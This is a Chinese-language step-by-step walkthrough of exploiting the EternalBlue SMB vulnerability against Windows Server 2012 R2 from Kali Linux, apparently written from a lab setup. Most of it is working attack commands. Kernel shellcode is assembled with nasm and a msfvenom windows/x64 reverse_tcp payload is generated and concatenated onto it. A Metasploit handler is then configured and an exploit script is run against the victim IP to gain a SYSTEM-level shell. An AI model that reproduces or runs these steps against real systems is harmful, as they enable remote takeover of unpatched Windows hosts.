测试环境:
kali linux 2017 x32(attacker)
Windows Server 2012 R2(victim)
准备工作:
首先下载相关的PoC
下载eternalblue_kshellcode_x64.asm
下载eternalblue_exploit8.py
相关资源在此不显示,需要者请请留言或私聊本人
操作步骤:
1.编译汇编文件
nasm -f bin eternalblue_kshellcode_x64.asm
此命令在本目录下生成对应二进制文件eternalblue_kshellcode_x64
2.生成msf的payload
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.254.128 LPORT=4444
-p指定msf生成的payload的类型
-fpayload的类型
-o输出的payload的文件名
EXITFUNC指定这个payload的退出函数
LHOST本机IP,应使用ifconfig查看kali的IP
LPORT本机端口,后续payload将连接kali的这个端口
3.组装汇编文件和payload为专用shellcode
cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin
reverse_shell.bin为生成的完整shellcode
注:这种组装方式的原理可以查看asm文件,最后一行有注释,后面是自定义的代码,那么拼接payload之后,payload代码将被执行
4.在msf上使用exploit/multi/handler模块
use exploit/multi/handler
5.设置相应的payload,与之前msfvenom命令生成的payload一定要相同
6.设置相应的参数,一定要与msfvenom命令中的参数一致,否则会造成victim蓝屏,设置好之后启动监听
set EXITFUNC thread
set lhost192.168.254.128
run
192.168.254.128是本次实验的kali系统IP,进行操作时应先使用ifconfig获取本机的IP
7.启动利用程序
python eternalblue_exploit8.py 192.168.254.129 reverse_shell.bin
eternalblue_exploit8.py利用程序的文件名
192.168.254.129victim的IP
reverse_shell.binshellcode文件
8.成功获取对方的session
利用程序显示done之后,msf会监听到一个session
使用以下方法查看已连接的session
sessions -i
9.连入对方机器
sessions -i 1
-i后面的参数为session的Id
此时获取的已经是system权限
领取专属 10元无门槛券
私享最新 技术干货